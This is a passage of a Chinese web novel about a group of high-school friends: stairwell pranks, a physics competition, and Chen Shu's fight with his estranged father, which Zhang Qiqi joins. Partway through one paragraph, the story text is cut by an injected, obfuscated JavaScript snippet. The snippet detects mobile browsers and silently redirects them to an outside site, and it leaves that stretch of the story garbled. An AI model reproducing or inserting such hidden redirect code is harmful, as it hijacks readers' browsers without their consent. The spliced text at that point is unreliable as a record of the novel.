“巧合,我们也在路上碰见了。”她说得斩钉截铁,“刚才那条路不是堵了吗,汽车走得比人还慢,我还不如下来呢,刚好就撞见陈恕骑着自行车在车道上。” 她说得有理有据,许兰亭却哈哈大笑几声,“说反了吧,是看到陈恕才下车的吧。” 他拉长了声音,“以你的……惰性,哪怕汽车走得比乌龟还慢,你都不会下来用两条腿走。这不是看见陈恕这个免费的劳动力,不用白不用嘛!哈哈哈……” “许兰亭!你闭嘴!”张期期急声喊道。 “你急了,你急了!看,她急了!我说得对吧,陈恕!” 林听笑了笑,“你不要说期期了。” 许兰亭立刻笑容顿住,绷着嘴角,“好。” 张期期嚷嚷道,“许兰亭你给我滚蛋!” …… 张期期、林听手挽着手走在最前面,许兰亭笑着走在她们俩身后,嘴里喋喋不休地讲着什么,陈恕单肩背着书包走在最后面,眼眸带着微微笑意地看着前方几个人玩闹着。 他没有回应许兰亭的话,而是撇过头,神色无奈,但眼底却透露出几丝的欣喜,那是被身边这几个人感染的…… 他们说着说着,时不时会cue他,就算得不到他的回答,许兰亭就会“越俎代庖”地帮他回答了。 这时,他们看见了前方一个熟悉的身影,那是班长周嘉先,对方背着书包,手里拿着黑色的保温瓶老神在在地走着,一副沉稳的老干部模样。 许兰亭立刻拍了拍期期和林听的肩膀,两人回头,他将食指抵在唇前,做出“嘘”的动作。 张期期、林听瞬间意会,林听偷偷笑着,张期期则是比了个OK的手势。随后,他们三人齐刷刷地回头望着陈恕,一副“逼良为娼”的神情。 陈恕:…… 他沉默片刻,轻轻点头,好吧,他被“狼狈为奸”了。 众人达成一致,许兰亭眼底笑意顿生,他将校服外套蒙在头上,只露出一双眼睛,随即一个箭步越过张期期、林听,动作迅速地跑到周嘉先的身边,以迅雷不及掩耳之势夺过他手中的保温瓶,然后拔腿就跑…… 周嘉先:…… 周嘉先神色恍惚,呆呆地看着空空的手心,他站在风中凌乱,他这是在校内被抢劫了?对方……抢了他一瓶……苦口良药? 半响后,他身后传来女生的哈哈大笑,张期期笑得腰都直不起来了。 林听、陈恕也憋着笑意,两人委婉地扯起了嘴角。 见状,周嘉先还能有什么不明白的呢,那抢他保温瓶的只能是许兰亭那个傻叉玩意儿。如此,他也不追了。 周嘉先哼笑了一声,反而走到陈恕身边和他谈论起关于“物理联赛”的事情。 “现在十月中旬,下旬就要联赛了,具体的时间估计晚点就要出来了。这周大概是要紧急集训的,我们可能得请假,没办法上班上的课了。” 这些消息是周嘉先根据上一届联赛推断出来的。 陈恕点点头,“嗯”了一声,现在课堂上的知识他早就掌握了,能将时间花在集训上面反而更好,只是…… 他抿了抿,看了一眼前方的张期期,少女一无所觉,正和身旁的人说说笑笑着。 目睹这一幕的周嘉先:…… 还没到重点一班教室门口,张期期、陈恕、林听、周嘉先几人便在楼梯的拐角处看见了许兰亭。 他靠在楼梯内侧的墙壁上,双手环绕抱胸,手上握着周嘉先的保温瓶,一见他们,他便道:“没意思,先哥,你怎么不来追我?” ……他夺过保温瓶便头也不回地一路狂奔,一直跑到了教学楼楼下,一回头,他都懵了,身后先哥的人影都没有,他白刺激了,就像个一旦头热的傻子一样。 他慢悠悠地踩着楼梯的台阶往上,上楼梯上出了龟速。 走到拐角时,他身边走过几名同学,他们在议论着新一届校草陈恕,说对方就走在他们后面,果然实至名归。 他就知道他们要上楼了,于是在这楼梯的拐角处等着他们。 这不……这几人果然来了,还说说笑笑谈论着学习,映衬得他如此格格不入。 周嘉先像看傻子一样地看了他一眼,“我追你干嘛?跑得了和尚跑不了庙……” 说着,他眼底闪过促狭,故意皱起眉头哎了几声,“你拿好我的保温瓶啊,我可是冲了上好的普洱茶,一斤很贵的。” 许兰亭闻言,笑容大盛,“诶……这样啊~那我就先替你尝一尝。” 周嘉先一听,佯装要去抓他。 同一时刻,他身旁的期期、林听瞬间伸出手臂拦住了他。 这么默契?许兰亭满意地笑了,他往上跑了几阶台阶,眼疾手快地拧开保温杯的盖子,蒙头大喝了一口。 楼道上,周嘉先、张期期、林听憋着笑,身体一抖一抖的,随即放声大笑,陈恕撇过头,不忍直视地抽了抽嘴角。 下一秒,许兰亭“噗”地一下子全喷出来了,中药呈现放射性地喷洒出来。 ……这什么玩意儿,怎么这么苦,苦得他忍不住闭上了双眼,脸上皱成一团。 他们联手坑他!! 与此同时,哈哈大笑声戛然而止…… 许兰亭忍不住睁开双眼,随即他咔咔咔笑起来,“你们也有今天……” 正好站在许兰亭正下方的周嘉先和张期期一脸的生无可恋,两人伸手抹了一把被中药喷洒的脸,随后侧首望了对方几瞬,双方眼底闪过了然。 周嘉先正色道,“好了,别玩了,这是我要喝的药。”他走上台阶,伸手拿过保温瓶。 张期期、林听,陈恕自然也紧随其后,一副大家准备上楼回教室的模样。 许兰亭眼神疑惑,“先哥,你怎么了,为什么要喝中药?” 他任由手中的保温瓶被对方拿回去,只是……他眼神更加迷惑了,“先哥……你干嘛……”……干嘛把保温瓶递给陈恕啊? 三两个台阶的功夫,他的话还没说完,便见已然双手空空的周嘉先一把将他从上面的阶梯拽下来,拽到楼梯拐弯的平地上。 “嗷——” “别别别——” “别打了——我错了,我错了,还不行吗?” 许兰亭抱头挨打,周嘉先蹦起来后压在他后背上,压得他站不起身,“期期,揍他!” 张期期对着他的肩膀、手臂一顿狂拍。 这是两个被中药大面积喷洒的“受害者”。 林听、陈恕也被喷了几滴在肩膀上,混乱之中,他们伸出脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13123238|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,偷偷踩了对方几下。 “嗷——” “别踩我——我的白色鞋子啊!” - “你们在干什么?”一声咆哮如雷炸响在张期期几人身后。 教务处主任颤抖着手指指着他们,一副要厥过去的模样,他捂着心脏,完了完了完蛋了…… ……他的身旁可站着教育局来视察的领导啊!他居然带着对方撞见了校园群殴现场,他这个教务处主任肯定要完蛋了,一中的评分也要完蛋了! 刚才他还跟领导说一中的风气越来越好,学生之间只在学习上有竞争,平日里都是友好互助,共同成长的,这下子……哐哐打脸了! 短短一瞬间的功夫,教务处主任已经想到了失去工作、晚年落魄的样子。 咆哮声响起时,张期期瞬间收回手,一副乖巧的样子,仿佛刚才那个把手拍出幻影好的人不是她一样。 周嘉先从许兰亭的背上下来,给自己整理整理了衣服,顺道还扯了扯许兰亭的衣摆,他正色地站着,一幅严肃的样子。 陈恕、林听抿着唇,站在原地,许兰亭狼狈直起身。 这一切就发生在瞬间,教务处主任看着他们这行云流水的样子,仿佛“群殴”对他们来说已经驾轻就熟了,他的心更加拔凉拔凉的。 算了算了,他认命了……既然一中的评分已经完蛋了,他的职业生涯也将要遭遇翻天覆地的变化,但是……身为教务处主任,他绝对不允许校内出现“校园群殴”事件。 教导处主任义愤填膺,正待开口为“被殴打者”发声…… “蒋叔叔?”张期期乖巧地对着教务处主任身旁的中年人喊道。 教务处主任愕然,循着张期期的目光看向身旁的教育局领导,这位姓蒋的领导面带笑容,看着喊他为“蒋叔叔”的女生的眼神仿佛在看自己家的后辈。 他内心掀起轩然大波,难道这位校园群殴的“加害者”居然是权贵家族子弟?难道今天就是他不畏权贵,为普通学生“请命”的时刻了…… “蒋叔叔。”许兰亭乖巧(划掉)怂气喊着。 中年男人点点头,同样面带微笑地看向许兰亭。 教务处主任:???这……这是怎么回事? 张期期、许兰亭喊完长辈之后,又看向一旁的教务处主任,张期期面带歉意,回答他刚才的怒吼,“主任,我们闹着玩呢。” 许兰亭伸手理了理凌乱的头发,露出了毫发无损的面容,笑着道,“是啊主任,我们就是朋友,打打闹闹而已。” 教务处主任探究地盯着几人反复地看,企图从他们的神情上看出什么猫腻。 这时,蒋风笑着为他们解释,“主任,这两个孩子我认识,他们从小一起打闹着长大的,刚刚大概也是在玩闹。” 原来如此……教务处主任顿时松了一口气,真的是谢天谢地啊! 陈恕:“主任,我们知道错了,以后不在楼梯间打闹了。” 张期期、许兰亭、周嘉先、林听几人瞬间反应过来,也纷纷附和着。 脑补了一大堆的教务处主任神色尴尬,见学生们都低头认错了,也就轻轻揭过此事,但又想起身旁的蒋领导,便还是稳住身为教务处主任的架子,说了几句。 “知道错了就行,以后可不能再在楼梯间玩了,很不安全的,知道吗?” 张期期几人齐齐点头,“知道了——” 蒋风见误会解除,觉得他和主任继续呆下去,这几个孩子会更加拘束,也就道:“主任,您再带我逛逛吧……” 教务处主任连忙道,“好好好,我们一中啊……” 他一边说着一边回头警告似的盯着张期期几人看了一眼,随即又带着蒋风往楼上走去。……这要视察学校的整体学风,自然要看一下学生们的精神面貌、上课的纪律性等等…… 蒋风面带微笑地听着,时不时点点头,最后他在离开学校前突然说道,“早上在楼梯间的那个误会,从主任您的反应我便能看到这所学校对学生们的认真负责,一中不愧是一中啊。” 教务处主任闻言一愣,随即又笑起来,他随意地摆了摆手,“这是整个一中最基本的责任,保护在校的每一位学生健康平安成长而已。” 47. 第 47 章 - 教务处主任、蒋风的身影消失在众人眼前后,张期期、许兰亭、林听、周嘉先四人面面相觑后,噗呲一声狂笑出声。 陈恕:??? 他静默地站在原地,神色无奈。 笑够了后,张期期才对陈恕道:“刚刚教务处主任绝对是脑补了什么东西,他那张脸上的神情真是变幻莫测啊。” 许兰亭想要拍拍陈恕的肩膀,伸出手的时候又想起对方屡屡躲开他的手,想来估计是不太乐意与旁人有肢体接触,所以他顺滑地转了个身,拍了拍周嘉先的肩膀。 许兰亭:“你别看教务处主任长得一副凶样,但啊……”他神秘兮兮地继续道,“他其实是个中二少年。哈哈哈……” …… 一群人笑着闹着,或勾肩搭背、或手挽着手往教室走去,陈恕走在最后,眼眸荡漾着浅浅的笑意。 * 数学课堂上。 数学老师正评讲着周末发给同学们的试卷,张期期手撑着下巴,时不时听几道题目,但更多的时间则是在发呆。 她朝左右两边各望了一眼,陈恕、先哥的座位都是空的,甚至班上还有几个位置也是空的,原来……他们都参加了联赛啊。 下课铃声响后,数学老师走出教室,张期期长长地叹了一口气,她伸手轻轻碰了碰前面的林听。 林听回头,见张期期萎靡不振的样子,轻声道:“怎么了,期期。” 张期期疑惑地盯着她看了一会,“对了,林听……你怎么不像先哥他们一样去试一试五大学科的竞赛啊,我记得你的数学、物理都不错啊。” 林听沉默了片刻之后,“我之前是有考虑过,但是……” 她想了想,还是列举了她心中担忧的几个点,“第一,五大学科竞赛并不是只有高二,还有高一、高三的都有参加,这其中高三的学长学姐们其实更具有优势。” 张期期从没有去了解过,所以此刻她眼神迷惑。 许兰亭在一旁听着,此刻也转过身来,他直接点明林听的意思,“就是参加这一届竞赛的学长学姐们其实在高二就参加过了,他们是属于上一届落选之后,继续参加这一届的竞赛,所以他们优势更大。” 林听点点头,张期期顿了顿,“也就是说学长学姐们是二周目联赛了?” 林听:“是的,我们高二除非非常优秀,否则就是去陪跑的。而我不想赌这一点,因为参加联赛,你也看到了,是会耽误正常上课的,我要是联赛落选了,很容易两头空的。” 张期期表示理解,林听又道,“除了这一点之外,联赛、以及最后的国赛虽然是有保送的,但保送的专业是有限定的,我之前看过了,没有我想读的专业。学校虽然很重要,但专业更重要,这关乎我以后一生职业生涯的选择方向。” 听到这番话,张期期内心震惊。 她震惊于旁人早早就确定了自己未来的方向,并为之努力。 那她呢?张期期心道,那她自己呢?她将来想考哪一个学校,未来又要从事什么行业? 这一刻,她的手下意识地轻轻甩了甩,就像无数次她在绘画之前先甩了甩手一样,她眼前仿佛浮现出五彩斑斓的色彩,那是绚烂瑰丽的色彩世界,也是她心之所往的。 然而就在她的思维徜徉于色彩的世界时,父亲的言语悄然出现在她的脑海里: “学习上要多花点心思,将来考个好学校,像你敬亭哥哥那样学金融、学企业管理,以后给爸爸帮忙,爸爸就不用那么忙了。” …… 张期期内心长长地叹了一口气,企业管理……是个热门专业吗? 她回过神来,对着林听道:“原来是这样啊,也不知道……陈恕、先哥还有我们班上的同学能不能拿到名次回来。” 林听沉思了片刻,“其实还是比较悬的,我们最大的竞争对手不是其他学校,而是我们上一届的学长学姐们。他们高三了,既然还参加竞赛的话,那就证明他们想走的就是竞赛保送的路。” * 这一天,一直到下午放学了,陈恕、周嘉先和其他同样参加竞赛的同学才回到重点一班。 此时已经是五点钟多,接近六点了,教室内学生都走得差不多了,张期期、许兰亭和林听也都没有在教室了。 周嘉先收拾了桌面上的书本试卷,随后背着书包准备回家,“陈恕,我先走了。” 陈恕点头,“嗯”,他想了想又补上一句,“路上注意安全。” 周嘉先一听,顿时笑了,陈恕没来重点一班时,他其实是见过对方的,这个内敛寡言的人突然叮嘱他路上注意安全,他还真是觉得受宠若惊啊! “好,我知道,你也注意安全。” 周嘉先走后,陈恕加快动作收拾东西,今晚六点半他还有山地车专卖店的兼职。 他微微侧弯着腰从书柜里摸出两本书叠在一起的书,他扫了一眼,确实是他的物理学习资料,于是便塞进了书包里。 - 十月的天,天色暗得很快,道路两旁的路灯霎那间全部亮了起来。 陈恕在六点半之前赶到了专卖店内,他进门的时候,店老板扫了一眼墙上的时间,嗯,还有七八分钟就迟到了。 啧……真及时,搞得他都没办法扣他工资了。 陈恕和店老板打了声招呼后,就往后仓走去,他将书包放在了后仓里,手上拿着包子和水杯走出来。 “老板,还有五分钟上班,我能吃个晚饭吗?” 店老板瞪大双眼,“就五分钟,你还想去哪里吃饭?” 话刚说完,他就看见陈恕手中的几个包子和水杯,店老板一顿,“……你晚上就吃这个啊?” 陈恕点头看他,“嗯。” 店老板:…… 片刻后,他挥了挥手,“吃吧吃吧。” “谢谢老板。”陈恕找了张小矮凳子坐下,一口一口嚼着。 店老板一边清点着店内的山地车的型号,一边在心里盘算着要进什么样的车才比较好卖,偶尔还时不时地看眼一旁的少年。 一米八多的高个子,晚上就吃几个包子?这哪里够啊!闷葫芦倔驴子,他要是嘴甜一点,他也不是不可以给他包一顿晚饭嘛。 陈恕吃完晚饭后,见店里踩着一些脚印,便起身打扫了一下店里。 店老板睨了他一眼,嘴角 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店老板:“行了,别擦了,落灰就落灰吧,你收拾一下差不多可以下班了。我要先走了,你也快点吧。” 陈恕看了一眼墙壁上的时钟,点点头道好。他的视线随着已经走出店门的老板落在了自己的自行车上。 早上期期跳下车摸了摸屁股的样子闪现在他的脑海里,陈恕尴尬地按了按自己的额心。 ……他的自行车虽然有后座,但后座其实是几根不锈钢的铁栏镶嵌在一起,坐着非常硌屁股。 陈恕顿了顿,想起后仓内有几个后座软垫,那是店老板以前卖自行车的时候配备的,而现在改卖山地车了,那几个软垫就用不上了,毕竟山地车没有后座。 他从后仓中几个颜色鲜亮的垫子中选择了这个灰粉色座垫,又拿了店里的扳手螺丝刀等等将座垫安在了他黑色的自行车后座上。 陈恕拍了拍座垫,又用手摇了摇,确认已经安装紧实了,这才将工具放回店内。 十几分钟后,他关掉灯拉上闸门骑上自行车走了…… 时值夜间,这条街道上安安静静、人烟稀少,陈恕心道,虽然座垫老板应该是不要了,但明天上班的时候,他还是把钱给老板比较好,毕竟就算对方用不上了,但那还是别人的东西。 两站公交车的距离,陈恕骑自行车近二十分钟就到城中村了,他照例把自行车搬到楼上房间。 夜幕深沉,陈恕洗漱完后坐在书桌前,伸手将书包里两本厚厚的物理资料本拿出来叠放在桌面上,他拿了上面的那一本翻阅着。 陈恕余光扫过另外一本书的封面时,翻阅书的手蓦然一滞,“校草的吻”这几个令人羞耻的字赫然在那本书上。 少年头疼般地伸手捂住了额头,他拿错书了……这根本不是他心中以为的另一本物理资料书。 鬼使神差地,他睁眼从指缝间再次看了一眼那本言情小说,校草……陈恕猛地闭上了眼睛,差点忘了他自己也是一中的校草…… 这莫名其妙的代入感,陈恕只觉得羞耻不已。 48. 第 48 章 - 夜幕之上,大片大片的浓云聚集在一起翻涌着,沉闷的雷声炸响在苍穹之下,大雨倾盆。雨珠砸在窗玻璃上,响起“噼里啪啦”的声响。 陈恕抬眸望了一眼桌上的时钟,快十二点了……他将物理资料书合上。 少年起身,椅子顺势被推着往后滑动,待要转身的时候,他像中邪一样突然对那本名字就令他羞耻不已的言情小说产生了好奇。 ……羞耻就是他枯燥乏味的生活中难得出现的情绪,令他心悸又难忘。 他猛地一闭眼伸手将言情小说拿上,待上了床之后,他抖着手将其扔在枕头上。 少年背靠着泛灰的墙壁,双腿前后曲起,他的手臂横在膝盖上,头埋在手臂上,半响,他微抬起头侧首望着枕头处的言情小说。 少年指尖动了动,一狠心将其拿过来,翻开,一气呵成。 窗外的闷雷声就如同他心脏狂跳的声响,紫色的电光时不时在窗外闪现。屋内光亮的白织灯下,他垂头阅读着透露着甜蜜和欢悦的故事。 纸页随着少年修长的指尖拨动,不知道看到什么,屋内少年的耳后蜿蜒攀爬上一寸寸晕开的红霞。 渐渐的,他的胸腔起伏不定,指尖颤抖…… 突然,少年啪地一声合上小说,伸手将窗头的灯光按掉,室内一下子陷入黑暗,窗外雨声掩盖了少年急促的呼吸声。 摸黑中,陈恕将小说压在枕头下,随即他像座雕塑一样生硬地将自己砸在床上,两只手机械地拉上被子蒙住了脑袋。 少年像躺尸一样躺在床上,张期期……你居然会有这种东西! * 次日。 下了一夜的雨终于在天色微微亮的清晨时分停下了,整个城中村早就醒过来了,菜农们的吆喝声、讨价还价的声音、早餐店老板招待客人的声音此起彼伏。 陈恕住在自建房的五楼,这些人间烟火的嘈杂声随着蒸包子的水蒸气往上飘升,他的阳台开了一条透气的小缝。 嘈杂声飘进屋内将他唤醒。 陈恕抬手揉了揉额心,下一刻他浑身一僵,猛然坐起后掀开被子……他的□□裤子微微湿润。少年连滚带爬地跑进了厕所。 好半响,他红着脸走了出来,昨夜梦里少女白皙纤细的手腕,带着粉意的双唇,修长脆弱的脖颈,带着笑意的眼眸在他脑海中轮流上映着,梦里充满了眷恋缠绵,拉扯交缠。 期期…… 窗外摊贩人声鼎沸,少年伫立在阳台上,伸手给了自己一巴掌,陈恕!清醒一点,你这是在亵渎对方!你怎么敢! 疼痛让陈恕那迷乱成浆糊的脑子清醒了一些,他深吸一口气,将那些缠绵悱恻的梦境抛在脑后。 不去想不去想!他像往常一样刷牙,洗脸,吃早餐……按部就班地骑着自行车出门。 - 前往京照一中的这条主干道上除了假日,没有一天是不堵车的。 张期期再一次于车流中一眼看见了陈恕,少年慢速骑着自行车,凉风将他的校服吹得鼓胀。 “陈恕——” 她按下车窗,大声喊道。 自行车车道上的少年浑身一颤,神色僵硬,他在这一刻突然想起来梦里她也在不停地唤着他的名字,陈恕陈恕陈恕,声声缠绕着侵入他的脑海里。 羞愧瞬间席卷他全身心,他在她面前根本无地自容。 陈恕脑子一懵,只想逃离,他用力踩下脚踏板将那声“陈恕”抛在身后。 “陈……”张期期看着少年在她面前飞蹿着消失不见,她顿时都懵了。 ……不是?他难道没听见我喊他吗? ……难道我的声音太小了,他没听见? 但是,如果他没听见的话,为什么像见了鬼一样跑了?跑了??? 前排的李叔偷偷往后视镜看了一眼期期,正巧期期下意识地望了过去,四目相对之下,李叔尴尬地笑了笑。 张期期扯了扯嘴角,“李叔,你继续开吧,我不用下车了。” - 重点一班。 张期期到了教室之后,发现陈恕并没有在位置上。 她抿了抿唇,将书包塞在书桌里,少女双手交叠着放在桌面上,下巴轻轻压在手臂上。 她往左右两边的空位置分别看了一眼,随后低垂着眼帘一动不动地坐在位置上,哎……他们去上集训课了。 张期期的前方,林听正双手掩着两个耳朵,低着头默默背着英语单词。 今天早读课是英语课…… 上课铃声响起,英语老师“火眼金睛”地盯着萎靡不振的张期期,张期期顿了顿,从书桌里拿出英语必修课本背起了单词,端得是一副专心致志的模样,英语老师洪玲这才满意地转移视线。 难熬的英语早读课结束之后,张期期又瞬间趴回了桌面上。 准备拿数学题请教张期期的林听:??? 林听疑惑地看着她,“期期,你怎么了?” 许兰亭一听,转过身来,也道:“是啊,我看你今天进教室的时候就不太开心好像……不是我的错觉吧?你怎么了?心情不好?” 闻言,张期期还是不动弹,就剩眼珠子滴溜溜地转,她长长地叹了一口气…… 林听&许兰亭:??? ……难道事情大条了? 许兰亭一本子丢过去,“别故弄玄虚了,快说!” 与此同时,张期期反应迅速地坐直身子,躲过飞过来的小本子,小本子飞过张期期的位置,“啪嗒”一声落在了周嘉先桌子一旁的通道上。 许兰亭看也不看地喊道:“先哥……帮我拿下本子。”话刚喊出,他顿了下,反应过来人家先哥去上集训课了。 他长长地叹了一口气。 张期期:……这叹气和我学的? 林听看着他们两人这副样子,心中顿时明了,“教室没有先哥、陈恕,你们不习惯。” 许兰亭笑了笑,何止是不习惯,平日里他和先哥也没多少话说,但……这他不在吧,他还觉得甚是奇怪! 这时,张期期表情纠结,低声道:“也不全是这样,主要吧,是今天……陈恕好像不想理我了……”说出这句话,她气馁地垂下头。 啊??? 林听、许兰亭对视了一眼,眼眸中默契地闪过不可能。 一直到今天,林听都觉得陈恕之所以会和他们这几人玩到一起,都是因为期期这个“纽带”发挥的作用,如果没有期期……大概他们和陈恕也不会有什么太多的交集。 他们这些人旁观者看得非常清楚,冷淡如此的陈恕正被小太阳一样的张期期日渐捂暖,他眼底的冷漠已经开始慢慢消融。 所以,陈恕怎么会不想理期期 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张期期便将早上陈恕明明听到她喊他,却一溜烟跑了的事说了出来,“……而且最重要的是他的自行车后座上面加了一个粉色的软垫!” “粉色的!!”她强调道。 林听想起那辆全黑色的自行车,沉思状地点点头,好像是有点奇怪。 张期期继续道:“人家都说,如果一个男人有了车子,那么副驾驶肯定是只给女朋友坐的。说不定陈恕也是这样,他有了自行车,所以他的后座是只给他女朋友坐的,但我……不是啊!所以他不载我!” 有理有据,还涉及到林听的知识盲区,她一下子哑火了,立场开始动摇,“应该……不是吧?陈恕看起来……不像是谈了恋爱的?昨天早上还好好的,不可能一天内突然找到了真爱吧?” ……要真如此,这真爱就烂大街了。 张期期顿时又趴回了桌子上,“那到底是为什么啊?” 她把自己自己最近一系列的行为翻来覆去想了个遍,“总不可能是我哪里惹他生气了,然后我自己不知道?” 林听安慰她,“没事,实在不行,你到时候直接问他好了。” 张期期一下子坐直了身体,重重点头,“好吧,就这样决定了。” 然而一直到这周周五,张期期始终没有遇见陈恕,他们明明在一个学校里,但仿佛隔着天壤一样。 周五放学的时候,周嘉先倒是回重点一班的教室了。 张期期正在收拾东西,看到他顿时双眼一亮,“先哥……” 周嘉先:……“嗯”。 ……你喊我的时候能不能眼睛看着我,不要看着我身后行吗? 张期期直勾勾地望着周嘉先身后,还是没看到她心中期待出现的人,“先哥……陈恕呢?你们没一起吗?” 周嘉先不在意道:“哦,他好像先回去了。” “先回去了啊……”张期期神色失望,“你们最近在哪儿上课呢?怎么都不回来教室啊?” 周嘉先笑了笑,“在教学楼三栋三楼的大教室,但也不是经常在那里,老师时不时会带着我们去其他几所高中和他们的学生一起集训,因为这次是省赛,所以京照市必须拧到一起,这是我们市的荣誉之战。” 原来如此……张期期心道,难怪她在学校怎么都没遇见他们,原来是去别的高中了啊! 49. 第 49 章 - 教室墙壁上的时钟悄悄地走到了六点钟整,周嘉先走后,教室里更加空空荡荡的,只剩下张期期一人了。 她等到这么晚就是为了逮住陈恕,没想到人家压根不回教室。 张期期将桌面上的文具书本收拾得哐哐作响,足以证明此时少女满心的怒火! 她背着书包走在寂静的校道上,昏黄的路灯洒下暖黄色的光晕,她已经提前和李叔说过了今天放学不用他来接,她也打了电话给家里,告诉家里她今天会晚一点回家。 既然如此……张期期心道,那就索性再晚一点回家好了,她决定去陈恕兼职的山地车专卖店看一看。 山地车专卖店离学校不远,张期期走路十几分钟就到附近了,她猫着身子准备偷偷瞧上一眼…… 专卖店内灯光通亮,前台处站着一个青年男人,张期期探头看了一眼,哦……不是陈恕啊。她失望地收回目光准备回家了。 张期期转身,目光却突然一滞,前面那个骑自行车的男生是陈恕吧? 她学过人体素描,对骨骼肌肉、身形十分敏感,前面男生的背影就是陈恕无疑了。 张期期拔腿就追上去,她生怕她再喊一声“陈恕”,人家溜得更快,于是便闷声追着。 小巷子里七拐八拐的,时不时有小孩玩闹着从巷子里冲出来,身后跟着一脸忧愁的大爷大妈,因此陈恕骑着自行车的速度放得很慢。 正因如此,张期期这个两条腿的跑的才跟得上对方。 绕过小巷子之后,对面是一个小区,这个小区在张期期看来景色非常单调,绿植非常少,倒是楼层建得蛮高的,外墙都是贴着黄色的小长转。 “上瑶陈家村安置房……”张期期看着陈恕骑着自行车进了小区,便抬头望着小区门口竖立的牌匾。 陈家村啊……陈恕也姓陈,看来陈恕家就在这个小区了。 人已经进了小区,张期期也不好跟着到人家家里去,她在小区门口溜达溜达着看了一会儿之后就准备打车回去了。 站在小区门口等了一会儿,她终于看到了一辆显示空车的出租车。 张期期招了招手,出租车停在她的身前,她打开车门,正要弯腰坐进去时,突然听到一声模糊不清的怒吼声。 她的动作顿时一滞,维持着弯腰的姿势,张期期再仔细凝神一听,好像是小区里面有人在吵架……隔着一段距离,她听得不是很清楚。 但刚刚那声怒吼声……好像是陈恕的声音!张期期猛地直起身,一头撞在了顶部的车门上。 “啊——” 前排的司机回过头,赶紧道:“这可是你自己撞的啊!” 张期期点了点头,“师傅不好意思,我先不坐了,抱歉。”她捂着头连忙往小区那边跑。 “什么人呐,自己撞到了就赖我的车嘛,不坐就不坐……” 出租车司机的抱怨,跑开的张期期已经听不见了。安置房的治安非常一般,小区的门大开着,属于是谁都能进的那种。 张期期跑进小区,看见小区里的行人都往一边去,她顿住脚步,紧跟着也往那边跑去。 - 现场围了几层的吃瓜群众,张期期踮起脚尖也看不到最里面到底是什么情况,她尝试着蹦了好几次,依旧什么都没看见。 张期期并不能完全确定她听到的就是陈恕的声音,因为虽然音色很像,但她毕竟从来没有听到陈恕怒吼过,他一直都是冷冷淡淡,寡言少语的。 周围吵吵闹闹的,大爷大妈虽然看不见,但好像知道发生了什么事一样,你一言我一语地点评着。 张期期悄悄地挪到他们身后,竖起耳朵听着…… “陈岩是不厚道,但是作儿子的怎么能殴打老子呢,这是不孝啊!” “是啊,小恕这孩子我有印象啊,小时候很乖的,怎么长大了成这样了,还打老子了……” “怎么变成这样?肯定是那边……养父母教养不好呗……” “……” 张期期愣神,小shu?是陈恕吗?那边?养父母? 在她愣神的期间,又有人持不同意见地骂道: “该!!陈岩不该打,谁该打啊!看着老老实实的,我们当时还以为他被带了绿帽子,结果呢,好家伙,原来人生赢家才是他,拆迁娶新老婆。” “是啊!小恕受了那么多苦,他愣是铁石心肠的,不让他进门,他这么做对得起阿秀吗?” “人家说虎毒不食子,陈岩比畜生还不如呢!小恕难道不是他儿子吗?就这么狠心!” “……” 两方吵吵嚷嚷的,张期期心急死了,这小shu到底是不是陈恕啊? “陈岩,你不是人!要不是你,我妈怎么会死?”陈恕怒急,再一次向陈岩的方向冲过去,他身边两个中年男人连忙扯住他。 “报警报警!反了天了,儿子居然打老子,你死定了,我要报警。”陈岩嘶吼着,一脸的气愤,他丢脸丢到大家都知道了,以后谁都会说他被儿子打。 这口气憋在心里,陈岩越想越气,企图冲过去揍人,他的身旁也有两个中年男人拉扯着他。 “你|妈的死关我们什么事,是她自己运气不好,能怪谁!你们的东西,我早就烧掉了,这都十几年了,我说了没有就是没有。”陈岩的妻子尖声叫着。 陈恕一顿,都没了……都没了……那他还怎么找到弟弟? 少年声音嘶哑,一句话都说不出来,愤怒和毁灭欲在他心中翻滚着,他奋力推开拉扯着他的两个中年男人,朝着陈岩跑过去。 他拉着对方的衣领,举起了拳头,双方扭打在一起。 与此同时,身处吃瓜群众外圈的张期期双眼蓦然睁大,这声音……真的是陈恕。 陈恕! 她弯着腰奋力挤进去,少女的头撞在围观群众脆弱的腰侧处,引得周围一圈人惊叫连连。 “谁,谁撞我!” “谁啊,好痛……” “……” 张期期双手合十,低声不停地说着,“不好意思,不好意思……对不起,对不起……借我过过!过过!” 几息后,她 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眼见陈岩的老婆被撞在地上,远离了正在互相殴打的陈岩、陈恕两人,其他想拉架的男人赶紧围过去,想将两人拉扯开来。 混乱之中,张期期跑到了陈岩的身侧,她的身影被拉架的几个男人遮挡住了。 两个中年男人使劲扯着陈岩往后退,陈恕揪着陈岩的领子不放,他举起拳头的手臂又被他身侧拉架的中年男人攥住了,一群人死死纠着对方僵持不下。 张期期从他们身形缝隙中看到了脸颊擦伤的陈恕,他目眦欲裂,眼尾都发红了。 陈恕!她在心中无声唤道。 少女愤懑地目光看向身侧被扯住的中年男人,她拳头攥起,一脚踹在男人的小腿后侧,一拳又一拳地砸在对方的后侧腰处,同时低着头往对方后背撞上去。 “啊——”陈岩痛呼出声。 拉扯住陈恕的两个中年男人皱起了眉头,陈恕都被他们拉住了,这个陈岩还鬼叫什么…… “啊——我、操,啊——”陈岩继续痛呼出声。 拉扯住陈岩的两个中年男人:???对面陈恕不是被扯住了吗? 躺在地上的中年女人见丈夫处于劣势了,她不顾身体的痛意挣扎着起身往张期期而来,“你个死丫头,看我不打死你……” 她伸手准备揪住张期期的头发,然而听到声音的张期期眼疾手快地攥住对方的两条手臂扣在一起,然后顺势往侧边一推,中年女人险些转成陀螺般,再一次栽倒在地上。 ……她侧躺在地上瞪大双眼,这死丫头攥住她手腕的力气怎么那么大…… 中年女人的这一打岔,张期期立刻意识到她下黑手的机会不多了,于是更加一拳一拳往被扯住的陈岩身上招呼,一时间那拳头速度快得几乎要打出幻影来…… 与此同时,陈岩嗷嗷痛叫着,拉架的中年男人们视线往陈岩身后移、往下移…… 